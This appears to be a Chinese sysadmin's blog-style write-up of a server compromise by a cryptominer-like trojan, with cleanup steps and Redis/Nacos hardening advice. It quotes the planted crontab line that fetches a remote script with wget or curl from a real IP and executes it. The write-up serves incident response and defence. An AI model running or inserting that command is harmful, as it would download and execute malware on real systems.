背景:发现平时正常登录的服务器突然进不去,也没明显的错误,重启也登录不了!
可能的原因,内存/CPU满了
重启通过用户模式进入,查看进程发现有个定时任务一直在自动创建并执行(进程ID一直在变化,而且占满CPU,杀死之后马上又复活了,重启也一样),怀疑被入侵了
木马文件:
全局查找,防止遗漏,点开查看确认二次确认确实是木马文件才清理
find / -name 'logrotate'
异常计划:
解决办法:
1 重装系统
2 手动清除异常文件(直到异常进程不在出现)
查看系统级的 cron 计划任务
/etc/crontab 文件包含了系统的 cron 任务定义。
/etc/cron.d 目录可能包含额外的 cron 配置文件。
/etc/cron.hourly, /etc/cron.daily, /etc/cron.weekly, 和 /etc/cron.monthly 目录分别包含每小时、每天、每周和每月执行的脚本。
定位 /etc/crontab 是这个文件被植入了 @daily source <(wget -q -O - http://185.196.8.123/logservice.sh || curl -sL http://185.196.8.123/logservice.sh) 但是提示 是readonly 没法删除
执行 lsattr 加文件名看下是否有隐藏权限,并解除 chattr -i 加文件名
清除木马程序和所有crontab 异常计划后,重置服务器密码,重启服务器
后面反馈运营商排查入侵原因,可能是通过 redis 默认端口或者nacos 漏洞
更改reids 默认端口和密码,升级nacos,然后我们的业务不需要用到境外IP,所以干脆就直接禁用境外IP
Redis默认配置下可能存在一些安全风险,使得它容易成为攻击目标。以下是Redis可能遭受入侵的一些主要原因:
- 默认无密码认证: Redis在默认配置下是不启用密码认证的,这意味着任何能够访问Redis服务器IP和端口的客户端都可以无限制地读取和操作数据。
- 默认监听所有网络接口: Redis默认配置下会监听所有的网络接口(bind 0.0.0.0),这意味着如果Redis服务器暴露在公网上,任何互联网上的主机都可以尝试连接到Redis服务。
- 使用默认端口: Redis的默认端口是6379,这是一个众所周知的端口,攻击者会专门扫描这个端口寻找未保护的Redis实例。
- 远程命令执行: Redis允许执行各种管理命令,如FLUSHALL(清除所有数据)、CONFIG GET和CONFIG SET(获取和设置配置项)。如果Redis暴露在公网并且没有密码保护,攻击者可以利用这些命令执行恶意操作,比如清空数据、更改配置,甚至通过EVAL命令注入Lua脚本来执行任意代码。
- 未授权访问: 如果Redis服务没有正确配置防火墙规则,未授权的用户可能会访问Redis服务,进而读取敏感数据或修改数据。
- 弱密码或密码泄露: 即使设置了密码,如果密码强度不够或被泄露,攻击者仍然可能通过暴力破解或已知密码列表来获得访问权限。
为了避免Redis遭受入侵,开发者应当采取一系列的安全措施,包括但不限于:
- 设置强密码:为Redis配置一个复杂的密码,限制未授权的访问。
- 更改默认端口:避免使用默认的6379端口,减少被扫描的机会。
- 限制网络访问:通过防火墙规则限制Redis只能被可信的IP地址访问,避免暴露在公网。
- 禁用危险命令:在配置文件中禁用或限制EVAL、CONFIG等可能被滥用的命令。
- 使用TLS/SSL加密:对Redis通信进行加密,防止数据在传输过程中被截获。
通过这些措施,可以显著提高Redis的安全性,降低被入侵的风险。